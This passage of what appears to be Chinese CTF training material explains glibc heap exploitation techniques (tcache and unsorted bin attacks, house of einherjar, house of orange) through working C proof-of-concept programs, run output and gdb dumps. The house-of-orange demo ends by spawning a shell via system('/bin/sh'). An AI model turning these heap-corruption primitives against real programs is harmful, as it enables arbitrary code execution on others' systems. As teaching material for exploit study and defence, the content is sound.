gdb-peda$ x/6gx victim - 2\n0x555555756250: 0x0000000000000000 0x0000000000000091 <-- victim chunk\n0x555555756260: 0x00007ffff7dd2b80 0x00007ffff7dd2b80\n0x555555756270: 0x0000000000000000 0x0000000000000000\ngdb-peda$ x/4gx fake - 2\n0x7fffffffdcb0: 0x0000000000000000 0x0000000000000110 <-- fake chunk\n0x7fffffffdcc0: 0x00007ffff7dd2b00 0x00007fffffffdcb0\ngdb-peda$ x/26gx 0x0000555555756000+0x10\n0x555555756010: 0x0700000000000000 0x0700000000000000 <-- counts <-- counts\n0x555555756020: 0x0000000000000000 0x0000000000000000\n0x555555756030: 0x0000000000000000 0x0000000000000000\n0x555555756040: 0x0000000000000000 0x0000000000000000\n0x555555756050: 0x0000000000000000 0x0000000000000000\n0x555555756060: 0x0000000000000000 0x0000000000000000\n0x555555756070: 0x0000000000000000 0x0000000000000000\n0x555555756080: 0x0000000000000000 0x0000555555756670 <-- entries\n0x555555756090: 0x0000000000000000 0x0000000000000000\n0x5555557560a0: 0x0000000000000000 0x0000000000000000\n0x5555557560b0: 0x0000000000000000 0x0000000000000000\n0x5555557560c0: 0x0000000000000000 0x00007fffffffdcc0 <-- entries\n0x5555557560d0: 0x0000000000000000 0x0000000000000000\n
\u53ef\u4ee5\u770b\u5230\u5728 malloc \u65f6\uff0cfake chunk \u88ab\u4e0d\u65ad\u91cd\u590d\u5730\u94fe\u63a5\u5230 tcache bin\uff0c\u76f4\u5230\u88c5\u6ee1\u540e\uff0c\u624d\u4ece unsorted bin \u91cc\u53d6\u51fa\u3002\u540c\u6837\u7684\uff0cfake chunk \u7684 fd \u6307\u5411 unsorted bin\u3002
"},{"location":"Training/Material/Binary%20Exploitation/#unsorted_bin_attack","title":"unsorted_bin_attack","text":"#include <stdio.h>\n#include <stdlib.h>\n\nint main() {\n unsigned long stack_var = 0;\n fprintf(stderr, \"The target we want to rewrite on stack: %p -> %ld\\n\\n\", &stack_var, stack_var);\n\n unsigned long *p = malloc(0x80);\n unsigned long *p1 = malloc(0x10);\n fprintf(stderr, \"Now, we allocate first small chunk on the heap at: %p\\n\",p);\n\n free(p);\n fprintf(stderr, \"We free the first chunk now. Its bk pointer point to %p\\n\", (void*)p[1]);\n\n p[1] = (unsigned long)(&stack_var - 2);\n fprintf(stderr, \"We write it with the target address-0x10: %p\\n\\n\", (void*)p[1]);\n\n malloc(0x80);\n fprintf(stderr, \"Let's malloc again to get the chunk we just free: %p -> %p\\n\", &stack_var, (void*)stack_var);\n}\n$ gcc -g unsorted_bin_attack.c\n$ ./a.out\nThe target we want to rewrite on stack: 0x7ffc9b1d61b0 -> 0\n\nNow, we allocate first small chunk on the heap at: 0x1066010\nWe free the first chunk now. Its bk pointer point to 0x7f2404cf5b78\nWe write it with the target address-0x10: 0x7ffc9b1d61a0\n\nLet's malloc again to get the chunk we just free: 0x7ffc9b1d61b0 -> 0x7f2404cf5b78\n
unsorted bin \u653b\u51fb\u901a\u5e38\u662f\u4e3a\u66f4\u8fdb\u4e00\u6b65\u7684\u653b\u51fb\u505a\u51c6\u5907\u7684\uff0c\u6211\u4eec\u77e5\u9053 unsorted bin \u662f\u4e00\u4e2a\u53cc\u5411\u94fe\u8868\uff0c\u5728\u5206\u914d\u65f6\u4f1a\u901a\u8fc7 unlink \u64cd\u4f5c\u5c06 chunk \u4ece\u94fe\u8868\u4e2d\u79fb\u9664\uff0c\u6240\u4ee5\u5982\u679c\u80fd\u591f\u63a7\u5236 unsorted bin chunk \u7684 bk \u6307\u9488\uff0c\u5c31\u53ef\u4ee5\u5411\u4efb\u610f\u4f4d\u7f6e\u5199\u5165\u4e00\u4e2a\u6307\u9488\u3002\u8fd9\u91cc\u901a\u8fc7 unlink \u5c06 libc \u7684\u4fe1\u606f\u5199\u5165\u5230\u6211\u4eec\u53ef\u63a7\u7684\u5185\u5b58\u4e2d\uff0c\u4ece\u800c\u5bfc\u81f4\u4fe1\u606f\u6cc4\u6f0f\uff0c\u4e3a\u8fdb\u4e00\u6b65\u7684\u653b\u51fb\u63d0\u4f9b\u4fbf\u5229\u3002
unlink \u7684\u5bf9 unsorted bin \u7684\u64cd\u4f5c\u662f\u8fd9\u6837\u7684\uff1a
/* remove from unsorted list */\n unsorted_chunks (av)->bk = bck;\n bck->fd = unsorted_chunks (av);\n
\u5176\u4e2d bck = victim->bk
\u3002
\u9996\u5148\u5206\u914d\u4e24\u4e2a chunk\uff0c\u7136\u540e\u91ca\u653e\u6389\u7b2c\u4e00\u4e2a\uff0c\u5b83\u5c06\u88ab\u52a0\u5165\u5230 unsorted bin \u4e2d\uff1a
gef\u27a4 x/26gx 0x602010-0x10\n0x602000: 0x0000000000000000 0x0000000000000091 <-- chunk 1 [be freed]\n0x602010: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 <-- fd, bk pointer\n0x602020: 0x0000000000000000 0x0000000000000000\n0x602030: 0x0000000000000000 0x0000000000000000\n0x602040: 0x0000000000000000 0x0000000000000000\n0x602050: 0x0000000000000000 0x0000000000000000\n0x602060: 0x0000000000000000 0x0000000000000000\n0x602070: 0x0000000000000000 0x0000000000000000\n0x602080: 0x0000000000000000 0x0000000000000000\n0x602090: 0x0000000000000090 0x0000000000000020 <-- chunk 2\n0x6020a0: 0x0000000000000000 0x0000000000000000\n0x6020b0: 0x0000000000000000 0x0000000000020f51 <-- top chunk\n0x6020c0: 0x0000000000000000 0x0000000000000000\ngef\u27a4 x/4gx &stack_var-2\n0x7fffffffdc50: 0x00007fffffffdd60 0x0000000000400712\n0x7fffffffdc60: 0x0000000000000000 0x0000000000602010\ngef\u27a4 heap bins unsorted\n[ Unsorted Bin for arena 'main_arena' ]\n[+] unsorted_bins[0]: fw=0x602000, bk=0x602000\n \u2192 Chunk(addr=0x602010, size=0x90, flags=PREV_INUSE)\n
\u7136\u540e\u5047\u8bbe\u5b58\u5728\u4e00\u4e2a\u6ea2\u51fa\u6f0f\u6d1e\uff0c\u53ef\u4ee5\u8ba9\u6211\u4eec\u4fee\u6539 chunk 1 \u7684\u6570\u636e\u3002\u7136\u540e\u6211\u4eec\u5c06 chunk 1 \u7684 bk \u6307\u9488\u4fee\u6539\u4e3a\u6307\u5411\u76ee\u6807\u5730\u5740 - 2\uff0c\u4e5f\u5c31\u76f8\u5f53\u4e8e\u662f\u5728\u76ee\u6807\u5730\u5740\u5904\u6709\u4e00\u4e2a fake free chunk\uff0c\u7136\u540e malloc\uff1a
gef\u27a4 x/26gx 0x602010-0x10\n0x602000: 0x0000000000000000 0x0000000000000091 <-- chunk 3\n0x602010: 0x00007ffff7dd1b78 0x00007fffffffdc50\n0x602020: 0x0000000000000000 0x0000000000000000\n0x602030: 0x0000000000000000 0x0000000000000000\n0x602040: 0x0000000000000000 0x0000000000000000\n0x602050: 0x0000000000000000 0x0000000000000000\n0x602060: 0x0000000000000000 0x0000000000000000\n0x602070: 0x0000000000000000 0x0000000000000000\n0x602080: 0x0000000000000000 0x0000000000000000\n0x602090: 0x0000000000000090 0x0000000000000021 <-- chunk 2\n0x6020a0: 0x0000000000000000 0x0000000000000000\n0x6020b0: 0x0000000000000000 0x0000000000020f51 <-- top chunk\n0x6020c0: 0x0000000000000000 0x0000000000000000\ngef\u27a4 x/4gx &stack_var-2\n0x7fffffffdc50: 0x00007fffffffdc80 0x0000000000400756 <-- fake chunk\n0x7fffffffdc60: 0x00007ffff7dd1b78 0x0000000000602010 <-- fd->TAIL\n
\u4ece\u800c\u6cc4\u6f0f\u4e86 unsorted bin \u7684\u5934\u90e8\u5730\u5740\u3002
\u90a3\u4e48\u7ee7\u7eed\u6765\u770b libc-2.27 \u91cc\u600e\u4e48\u5904\u7406\uff1a
#include <stdio.h>\n#include <stdlib.h>\n\nint main() {\n unsigned long stack_var = 0;\n fprintf(stderr, \"The target we want to rewrite on stack: %p -> %ld\\n\\n\", &stack_var, stack_var);\n\n unsigned long *p = malloc(0x80);\n unsigned long *p1 = malloc(0x10);\n fprintf(stderr, \"Now, we allocate first small chunk on the heap at: %p\\n\",p);\n\n free(p);\n fprintf(stderr, \"Freed the first chunk to put it in a tcache bin\\n\");\n\n p[0] = (unsigned long)(&stack_var);\n fprintf(stderr, \"Overwrite the next ptr with the target address\\n\");\n malloc(0x80);\n malloc(0x80);\n fprintf(stderr, \"Now we malloc twice to make tcache struct's counts '0xff'\\n\\n\");\n\n free(p);\n fprintf(stderr, \"Now free again to put it in unsorted bin\\n\");\n p[1] = (unsigned long)(&stack_var - 2);\n fprintf(stderr, \"Now write its bk ptr with the target address-0x10: %p\\n\\n\", (void*)p[1]);\n\n malloc(0x80);\n fprintf(stderr, \"Finally malloc again to get the chunk at target address: %p -> %p\\n\", &stack_var, (void*)stack_var);\n}\n$ gcc -g tcache_unsorted_bin_attack.c\n$ ./a.out\nThe target we want to rewrite on stack: 0x7ffef0884c10 -> 0\n\nNow, we allocate first small chunk on the heap at: 0x564866907260\nFreed the first chunk to put it in a tcache bin\nOverwrite the next ptr with the target address\nNow we malloc twice to make tcache struct's counts '0xff'\n\nNow free again to put it in unsorted bin\nNow write its bk ptr with the target address-0x10: 0x7ffef0884c00\n\nFinally malloc again to get the chunk at target address: 0x7ffef0884c10 -> 0x7f69ba1d8ca0\n
\u6211\u4eec\u77e5\u9053\u7531\u4e8e tcache \u7684\u5b58\u5728\uff0cmalloc \u4ece unsorted bin \u53d6 chunk \u7684\u65f6\u5019\uff0c\u5982\u679c\u5bf9\u5e94\u7684 tcache bin \u8fd8\u672a\u88c5\u6ee1\uff0c\u5219\u4f1a\u5c06 unsorted bin \u91cc\u7684 chunk \u5168\u90e8\u653e\u8fdb\u5bf9\u5e94\u7684 tcache bin\uff0c\u7136\u540e\u518d\u4ece tcache bin \u4e2d\u53d6\u51fa\u3002\u90a3\u4e48\u95ee\u9898\u5c31\u6765\u4e86\uff0c\u5728\u653e\u8fdb tcache bin \u7684\u8fd9\u4e2a\u8fc7\u7a0b\u4e2d\uff0cmalloc \u4f1a\u4ee5\u4e3a\u6211\u4eec\u7684 target address \u4e5f\u662f\u4e00\u4e2a chunk\uff0c\u7136\u800c\u8fd9\u4e2a \"chunk\" \u662f\u8fc7\u4e0d\u4e86\u68c0\u67e5\u7684\uff0c\u5c06\u629b\u51fa \"memory corruption\" \u7684\u9519\u8bef\uff1a
while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))\n {\n bck = victim->bk;\n if (__builtin_expect (chunksize_nomask (victim) <= 2 * SIZE_SZ, 0)\n || __builtin_expect (chunksize_nomask (victim)\n > av->system_mem, 0))\n malloc_printerr (\"malloc(): memory corruption\");\n
\u90a3\u4e48\u8981\u60f3\u8df3\u8fc7\u653e chunk \u7684\u8fd9\u4e2a\u8fc7\u7a0b\uff0c\u5c31\u9700\u8981\u5bf9\u5e94 tcache bin \u7684 counts \u57df\u4e0d\u5c0f\u4e8e tcache_count\uff08\u9ed8\u8ba4\u4e3a7\uff09\uff0c\u4f46\u5982\u679c counts \u4e0d\u4e3a 0\uff0c\u8bf4\u660e tcache bin \u91cc\u662f\u6709 chunk \u7684\uff0c\u90a3\u4e48 malloc \u7684\u65f6\u5019\u4f1a\u76f4\u63a5\u4ece tcache bin \u91cc\u53d6\u51fa\uff0c\u4e8e\u662f\u5c31\u6ca1\u6709 unsorted bin \u4ec0\u4e48\u4e8b\u4e86\uff1a
if (tc_idx < mp_.tcache_bins\n /*&& tc_idx < TCACHE_MAX_BINS*/ /* to appease gcc */\n && tcache\n && tcache->entries[tc_idx] != NULL)\n {\n return tcache_get (tc_idx);\n }\n
\u8fd9\u5c31\u9020\u6210\u4e86\u77db\u76fe\uff0c\u6240\u4ee5\u6211\u4eec\u9700\u8981\u627e\u5230\u4e00\u79cd\u65e2\u80fd\u4ece unsorted bin \u4e2d\u53d6 chunk\uff0c\u53c8\u4e0d\u4f1a\u5c06 chunk \u653e\u8fdb tcache bin \u7684\u529e\u6cd5\u3002
\u4e8e\u662f\u5c31\u5f97\u5230\u4e86\u4e0a\u9762\u7684\u5229\u7528 tcache poisoning\uff08\u53c2\u8003\u7ae0\u82824.14\uff09\uff0c\u5c06 counts \u4fee\u6539\u6210\u4e86 0xff
\uff0c\u4e8e\u662f\u5728\u8fdb\u884c\u5230\u4e0b\u9762\u8fd9\u91cc\u65f6\u5c31\u4f1a\u8fdb\u5165 else \u5206\u652f\uff0c\u76f4\u63a5\u53d6\u51fa chunk \u5e76\u8fd4\u56de\uff1a
#if USE_TCACHE\n /* Fill cache first, return to user only if cache fills.\n We may return one of these chunks later. */\n if (tcache_nb\n && tcache->counts[tc_idx] < mp_.tcache_count)\n {\n tcache_put (victim, tc_idx);\n return_cached = 1;\n continue;\n }\n else\n {\n#endif\n check_malloced_chunk (av, victim, nb);\n void *p = chunk2mem (victim);\n alloc_perturb (p, bytes);\n return p;\n
\u4e8e\u662f\u5c31\u6210\u529f\u6cc4\u9732\u51fa\u4e86 unsorted bin \u7684\u5934\u90e8\u5730\u5740\u3002
"},{"location":"Training/Material/Binary%20Exploitation/#house_of_einherjar","title":"house_of_einherjar","text":"#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <stdint.h>\n#include <malloc.h>\n\nint main() {\n uint8_t *a, *b, *d;\n\n a = (uint8_t*) malloc(0x10);\n int real_a_size = malloc_usable_size(a);\n memset(a, 'A', real_a_size);\n fprintf(stderr, \"We allocate 0x10 bytes for 'a': %p\\n\\n\", a);\n\n size_t fake_chunk[6];\n fake_chunk[0] = 0x80;\n fake_chunk[1] = 0x80;\n fake_chunk[2] = (size_t) fake_chunk;\n fake_chunk[3] = (size_t) fake_chunk;\n fake_chunk[4] = (size_t) fake_chunk;\n fake_chunk[5] = (size_t) fake_chunk;\n fprintf(stderr, \"Our fake chunk at %p looks like:\\n\", fake_chunk);\n fprintf(stderr, \"prev_size: %#lx\\n\", fake_chunk[0]);\n fprintf(stderr, \"size: %#lx\\n\", fake_chunk[1]);\n fprintf(stderr, \"fwd: %#lx\\n\", fake_chunk[2]);\n fprintf(stderr, \"bck: %#lx\\n\", fake_chunk[3]);\n fprintf(stderr, \"fwd_nextsize: %#lx\\n\", fake_chunk[4]);\n fprintf(stderr, \"bck_nextsize: %#lx\\n\\n\", fake_chunk[5]);\n\n b = (uint8_t*) malloc(0xf8);\n int real_b_size = malloc_usable_size(b);\n uint64_t* b_size_ptr = (uint64_t*)(b - 0x8);\n fprintf(stderr, \"We allocate 0xf8 bytes for 'b': %p\\n\", b);\n fprintf(stderr, \"b.size: %#lx\\n\", *b_size_ptr);\n fprintf(stderr, \"We overflow 'a' with a single null byte into the metadata of 'b'\\n\");\n a[real_a_size] = 0;\n fprintf(stderr, \"b.size: %#lx\\n\\n\", *b_size_ptr);\n\n size_t fake_size = (size_t)((b-sizeof(size_t)*2) - (uint8_t*)fake_chunk);\n *(size_t*)&a[real_a_size-sizeof(size_t)] = fake_size;\n fprintf(stderr, \"We write a fake prev_size to the last %lu bytes of a so that it will consolidate with our fake chunk\\n\", sizeof(size_t));\n fprintf(stderr, \"Our fake prev_size will be %p - %p = %#lx\\n\\n\", b-sizeof(size_t)*2, fake_chunk, fake_size);\n\n fake_chunk[1] = fake_size;\n fprintf(stderr, \"Modify fake chunk's size to reflect b's new prev_size\\n\");\n\n fprintf(stderr, \"Now we free b and this will consolidate with our fake chunk\\n\");\n free(b);\n fprintf(stderr, \"Our fake chunk size is now %#lx (b.size + fake_prev_size)\\n\", fake_chunk[1]);\n\n d = malloc(0x10);\n memset(d, 'A', 0x10);\n fprintf(stderr, \"\\nNow we can call malloc() and it will begin in our fake chunk: %p\\n\", d);\n}\n$ gcc -g house_of_einherjar.c\n$ ./a.out\nWe allocate 0x10 bytes for 'a': 0xb31010\n\nOur fake chunk at 0x7ffdb337b7f0 looks like:\nprev_size: 0x80\nsize: 0x80\nfwd: 0x7ffdb337b7f0\nbck: 0x7ffdb337b7f0\nfwd_nextsize: 0x7ffdb337b7f0\nbck_nextsize: 0x7ffdb337b7f0\n\nWe allocate 0xf8 bytes for 'b': 0xb31030\nb.size: 0x101\nWe overflow 'a' with a single null byte into the metadata of 'b'\nb.size: 0x100\n\nWe write a fake prev_size to the last 8 bytes of a so that it will consolidate with our fake chunk\nOur fake prev_size will be 0xb31020 - 0x7ffdb337b7f0 = 0xffff80024d7b5830\n\nModify fake chunk's size to reflect b's new prev_size\nNow we free b and this will consolidate with our fake chunk\nOur fake chunk size is now 0xffff80024d7d6811 (b.size + fake_prev_size)\n\nNow we can call malloc() and it will begin in our fake chunk: 0x7ffdb337b800\n
house-of-einherjar \u662f\u4e00\u79cd\u5229\u7528 malloc \u6765\u8fd4\u56de\u4e00\u4e2a\u9644\u8fd1\u5730\u5740\u7684\u4efb\u610f\u6307\u9488\u3002\u5b83\u8981\u6c42\u6709\u4e00\u4e2a\u5355\u5b57\u8282\u6ea2\u51fa\u6f0f\u6d1e\uff0c\u8986\u76d6\u6389 next chunk \u7684 size \u5b57\u6bb5\u5e76\u6e05\u9664 PREV_IN_USE
\u6807\u5fd7\uff0c\u7136\u540e\u8fd8\u9700\u8981\u8986\u76d6 prev_size \u5b57\u6bb5\u4e3a fake chunk \u7684\u5927\u5c0f\u3002\u5f53 next chunk \u88ab\u91ca\u653e\u65f6\uff0c\u5b83\u4f1a\u53d1\u73b0\u524d\u4e00\u4e2a chunk \u88ab\u6807\u8bb0\u4e3a\u7a7a\u95f2\u72b6\u6001\uff0c\u7136\u540e\u5c1d\u8bd5\u5408\u5e76\u5806\u5757\u3002\u53ea\u8981\u6211\u4eec\u7cbe\u5fc3\u6784\u9020\u4e00\u4e2a fake chunk\uff0c\u8ba9\u5408\u5e76\u540e\u7684\u5806\u5757\u8303\u56f4\u5230 fake chunk \u5904\uff0c\u90a3\u4e0b\u4e00\u6b21 malloc \u5c06\u8fd4\u56de\u6211\u4eec\u60f3\u8981\u7684\u5730\u5740\u3002\u6bd4\u8d77\u524d\u9762\u6240\u8bb2\u8fc7\u7684 poison-null-byte \uff0c\u66f4\u52a0\u5f3a\u5927\uff0c\u4f46\u662f\u8981\u6c42\u7684\u6761\u4ef6\u4e5f\u66f4\u591a\u4e00\u70b9\uff0c\u6bd4\u5982\u4e00\u4e2a\u5806\u4fe1\u606f\u6cc4\u6f0f\u3002
\u9996\u5148\u5206\u914d\u4e00\u4e2a\u5047\u8bbe\u5b58\u5728 off_by_one \u6ea2\u51fa\u7684 chunk a\uff0c\u7136\u540e\u5728\u6808\u4e0a\u521b\u5efa\u6211\u4eec\u7684 fake chunk\uff0cchunk \u5927\u5c0f\u968f\u610f\uff0c\u53ea\u8981\u662f small chunk \u5c31\u53ef\u4ee5\u4e86\uff1a
gef\u27a4 x/8gx a-0x10\n0x603000: 0x0000000000000000 0x0000000000000021 <-- chunk a\n0x603010: 0x4141414141414141 0x4141414141414141\n0x603020: 0x4141414141414141 0x0000000000020fe1 <-- top chunk\n0x603030: 0x0000000000000000 0x0000000000000000\ngef\u27a4 x/8gx &fake_chunk\n0x7fffffffdcb0: 0x0000000000000080 0x0000000000000080 <-- fake chunk\n0x7fffffffdcc0: 0x00007fffffffdcb0 0x00007fffffffdcb0\n0x7fffffffdcd0: 0x00007fffffffdcb0 0x00007fffffffdcb0\n0x7fffffffdce0: 0x00007fffffffddd0 0xffa7b97358729300\n
\u63a5\u4e0b\u6765\u521b\u5efa chunk b\uff0c\u5e76\u5229\u7528 chunk a \u7684\u6ea2\u51fa\u5c06 size \u5b57\u6bb5\u8986\u76d6\u6389\uff0c\u6e05\u9664\u4e86 PREV_INUSE
\u6807\u5fd7\uff0cchunk b \u5c31\u4f1a\u4ee5\u4e3a\u524d\u4e00\u4e2a chunk \u662f\u4e00\u4e2a free chunk \u4e86\uff1a
gef\u27a4 x/8gx a-0x10\n0x603000: 0x0000000000000000 0x0000000000000021 <-- chunk a\n0x603010: 0x4141414141414141 0x4141414141414141\n0x603020: 0x4141414141414141 0x0000000000000100 <-- chunk b\n0x603030: 0x0000000000000000 0x0000000000000000\n
\u539f\u672c chunk b \u7684 size \u5b57\u6bb5\u5e94\u8be5\u4e3a 0x101\uff0c\u5728\u8fd9\u91cc\u6211\u4eec\u9009\u62e9 malloc(0xf8) \u4f5c\u4e3a chunk b \u4e5f\u662f\u51fa\u4e8e\u65b9\u4fbf\u7684\u76ee\u7684\uff0c\u8986\u76d6\u540e\u53ea\u5f71\u54cd\u4e86\u6807\u5fd7\u4f4d\uff0c\u6ca1\u6709\u5f71\u54cd\u5230\u5927\u5c0f\u3002
\u63a5\u4e0b\u6765\u6839\u636e fake chunk \u5728\u6808\u4e0a\u7684\u4f4d\u7f6e\u4fee\u6539 chunk b \u7684 prev_size \u5b57\u6bb5\u3002\u8ba1\u7b97\u65b9\u6cd5\u662f\u7528 chunk b \u7684\u8d77\u59cb\u5730\u5740\u51cf\u53bb fake chunk \u7684\u8d77\u59cb\u5730\u5740\uff0c\u540c\u65f6\u4e3a\u4e86\u7ed5\u8fc7\u68c0\u67e5\uff0c\u8fd8\u9700\u8981\u5c06 fake chunk \u7684 size \u5b57\u6bb5\u4e0e chunk b \u7684 prev_size \u5b57\u6bb5\u76f8\u5339\u914d\uff1a
gef\u27a4 x/8gx a-0x10\n0x603000: 0x0000000000000000 0x0000000000000021 <-- chunk a\n0x603010: 0x4141414141414141 0x4141414141414141\n0x603020: 0xffff800000605370 0x0000000000000100 <-- chunk b <-- prev_size\n0x603030: 0x0000000000000000 0x0000000000000000\ngef\u27a4 x/8gx &fake_chunk\n0x7fffffffdcb0: 0x0000000000000080 0xffff800000605370 <-- fake chunk <-- size\n0x7fffffffdcc0: 0x00007fffffffdcb0 0x00007fffffffdcb0\n0x7fffffffdcd0: 0x00007fffffffdcb0 0x00007fffffffdcb0\n0x7fffffffdce0: 0x00007fffffffddd0 0xadeb3936608e0600\n
\u91ca\u653e chunk b\uff0c\u8fd9\u65f6\u56e0\u4e3a PREV_INUSE
\u4e3a\u96f6\uff0cunlink \u4f1a\u6839\u636e prev_size \u53bb\u5bfb\u627e\u4e0a\u4e00\u4e2a free chunk\uff0c\u5e76\u5c06\u5b83\u548c\u5f53\u524d chunk \u5408\u5e76\u3002\u4ece arena \u91cc\u53ef\u4ee5\u770b\u5230\uff1a
gef\u27a4 heap arenas\nArena (base=0x7ffff7dd1b20, top=0x7fffffffdcb0, last_remainder=0x0, next=0x7ffff7dd1b20, next_free=0x0, system_mem=0x21000)\n
\u5408\u5e76\u7684\u8fc7\u7a0b\u5728 poison-null-byte \u90a3\u91cc\u4e5f\u8bb2\u8fc7\u4e86\u3002
\u6700\u540e\u5f53\u6211\u4eec\u518d\u6b21 malloc\uff0c\u5176\u8fd4\u56de\u7684\u5730\u5740\u5c06\u662f fake chunk \u7684\u5730\u5740\uff1a
gef\u27a4 x/8gx &fake_chunk\n0x7fffffffdcb0: 0x0000000000000080 0x0000000000000021 <-- chunk d\n0x7fffffffdcc0: 0x4141414141414141 0x4141414141414141\n0x7fffffffdcd0: 0x00007fffffffdcb0 0xffff800000626331\n0x7fffffffdce0: 0x00007fffffffddd0 0xbdf40e22ccf46c00\n
"},{"location":"Training/Material/Binary%20Exploitation/#house_of_orange","title":"house_of_orange","text":"#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n\nint winner (char *ptr);\n\nint main() {\n char *p1, *p2;\n size_t io_list_all, *top;\n\n p1 = malloc(0x400 - 0x10);\n\n top = (size_t *) ((char *) p1 + 0x400 - 0x10);\n top[1] = 0xc01;\n\n p2 = malloc(0x1000);\n io_list_all = top[2] + 0x9a8;\n top[3] = io_list_all - 0x10;\n\n memcpy((char *) top, \"/bin/sh\\x00\", 8);\n\n top[1] = 0x61;\n\n _IO_FILE *fp = (_IO_FILE *) top;\n fp->_mode = 0; // top+0xc0\n fp->_IO_write_base = (char *) 2; // top+0x20\n fp->_IO_write_ptr = (char *) 3; // top+0x28\n\n size_t *jump_table = &top[12]; // controlled memory\n jump_table[3] = (size_t) &winner;\n *(size_t *) ((size_t) fp + sizeof(_IO_FILE)) = (size_t) jump_table; // top+0xd8\n\n malloc(1);\n return 0;\n}\n\nint winner(char *ptr) {\n system(ptr);\n return 0;\n}\n$ gcc -g house_of_orange.c\n$ ./a.out\n*** Error in `./a.out': malloc(): memory corruption: 0x00007f3daece3520 ***\n======= Backtrace: =========\n/lib/x86_64-linux-gnu/libc.so.6(+0x777e5)[0x7f3dae9957e5]\n/lib/x86_64-linux-gnu/libc.so.6(+0x8213e)[0x7f3dae9a013e]\n/lib/x86_64-linux-gnu/libc.so.6(__libc_malloc+0x54)[0x7f3dae9a2184]\n./a.out[0x4006cc]\n/lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf0)[0x7f3dae93e830]\n./a.out[0x400509]\n======= Memory map: ========\n00400000-00401000 r-xp 00000000 08:01 919342 /home/firmy/how2heap/a.out\n00600000-00601000 r--p 00000000 08:01 919342 /home/firmy/how2heap/a.out\n00601000-00602000 rw-p 00001000 08:01 919342 /home/firmy/how2heap/a.out\n01e81000-01ec4000 rw-p 00000000 00:00 0 [heap]\n7f3da8000000-7f3da8021000 rw-p 00000000 00:00 0\n7f3da8021000-7f3dac000000 ---p 00000000 00:00 0\n7f3dae708000-7f3dae71e000 r-xp 00000000 08:01 398989 /lib/x86_64-linux-gnu/libgcc_s.so.1\n7f3dae71e000-7f3dae91d000 ---p 00016000 08:01 398989 /lib/x86_64-linux-gnu/libgcc_s.so.1\n7f3dae91d000-7f3dae91e000 rw-p 00015000 08:01 398989 /lib/x86_64-linux-gnu/libgcc_s.so.1\n7f3dae91e000-7f3daeade000 r-xp 00000000 08:01 436912 /lib/x86_64-linux-gnu/libc-2.23.so\n7f3daeade000-7f3daecde000 ---p 001c0000 08:01 436912 /lib/x86_64-linux-gnu/libc-2.23.so\n7f3daecde000-7f3daece2000 r--p 001c0000 08:01 436912 /lib/x86_64-linux-gnu/libc-2.23.so\n7f3daece2000-7f3daece4000 rw-p 001c4000 08:01 436912 /lib/x86_64-linux-gnu/libc-2.23.so\n7f3daece4000-7f3daece8000 rw-p 00000000 00:00 0\n7f3daece8000-7f3daed0e000 r-xp 00000000 08:01 436908 /lib/x86_64-linux-gnu/ld-2.23.so\n7f3daeef4000-7f3daeef7000 rw-p 00000000 00:00 0\n7f3daef0c000-7f3daef0d000 rw-p 00000000 00:00 0\n7f3daef0d000-7f3daef0e000 r--p 00025000 08:01 436908 /lib/x86_64-linux-gnu/ld-2.23.so\n7f3daef0e000-7f3daef0f000 rw-p 00026000 08:01 436908 /lib/x86_64-linux-gnu/ld-2.23.so\n7f3daef0f000-7f3daef10000 rw-p 00000000 00:00 0\n7ffe8eba6000-7ffe8ebc7000 rw-p 00000000 00:00 0 [stack]\n7ffe8ebee000-7ffe8ebf1000 r--p 00000000 00:00 0 [vvar]\n7ffe8ebf1000-7ffe8ebf3000 r-xp 00000000 00:00 0 [vdso]\nffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]\n$ whoami\nfirmy\n$ exit\nAborted (core dumped)\n
house-of-orange \u662f\u4e00\u79cd\u5229\u7528\u5806\u6ea2\u51fa\u4fee\u6539 _IO_list_all
\u6307\u9488\u7684\u5229\u7528\u65b9\u6cd5\u3002\u5b83\u8981\u6c42\u80fd\u591f\u6cc4\u6f0f\u5806\u548c libc\u3002\u6211\u4eec\u77e5\u9053\u4e00\u5f00\u59cb\u7684\u65f6\u5019\uff0c\u6574\u4e2a\u5806\u90fd\u5c5e\u4e8e top chunk\uff0c\u6bcf\u6b21\u7533\u8bf7\u5185\u5b58\u65f6\uff0c\u5c31\u4ece top chunk \u4e2d\u5212\u51fa\u8bf7\u6c42\u5927\u5c0f\u7684\u5806\u5757\u8fd4\u56de\u7ed9\u7528\u6237\uff0c\u4e8e\u662f top chunk \u5c31\u8d8a\u6765\u8d8a\u5c0f\u3002
\u5f53\u67d0\u4e00\u6b21 top chunk \u7684\u5269\u4f59\u5927\u5c0f\u5df2\u7ecf\u4e0d\u80fd\u591f\u6ee1\u8db3\u8bf7\u6c42\u65f6\uff0c\u5c31\u4f1a\u8c03\u7528\u51fd\u6570 sysmalloc()
\u5206\u914d\u65b0\u5185\u5b58\uff0c\u8fd9\u65f6\u53ef\u80fd\u4f1a\u53d1\u751f\u4e24\u79cd\u60c5\u51b5\uff0c\u4e00\u79cd\u662f\u76f4\u63a5\u6269\u5145 top chunk\uff0c\u53e6\u4e00\u79cd\u662f\u8c03\u7528 mmap \u5206\u914d\u4e00\u5757\u65b0\u7684 top chunk\u3002\u5177\u4f53\u8c03\u7528\u54ea\u4e00\u79cd\u65b9\u6cd5\u662f\u7531\u7533\u8bf7\u5927\u5c0f\u51b3\u5b9a\u7684\uff0c\u4e3a\u4e86\u80fd\u591f\u4f7f\u7528\u524d\u4e00\u79cd\u6269\u5c55 top chunk\uff0c\u9700\u8981\u8bf7\u6c42\u5c0f\u4e8e\u9600\u503c mp_.mmap_threshold
\uff1a
if (av == NULL\n || ((unsigned long) (nb) >= (unsigned long) (mp_.mmap_threshold)\n && (mp_.n_mmaps < mp_.n_mmaps_max)))\n {\n
\u540c\u65f6\uff0c\u4e3a\u4e86\u80fd\u591f\u8c03\u7528 sysmalloc()
\u4e2d\u7684 _int_free()
\uff0c\u9700\u8981 top chunk \u5927\u4e8e MINSIZE
\uff0c\u5373 0x10\uff1a
if (old_size >= MINSIZE)\n {\n _int_free (av, old_top, 1);\n }\n
\u5f53\u7136\uff0c\u8fd8\u5f97\u7ed5\u8fc7\u4e0b\u9762\u4e24\u4e2a\u9650\u5236\u6761\u4ef6\uff1a
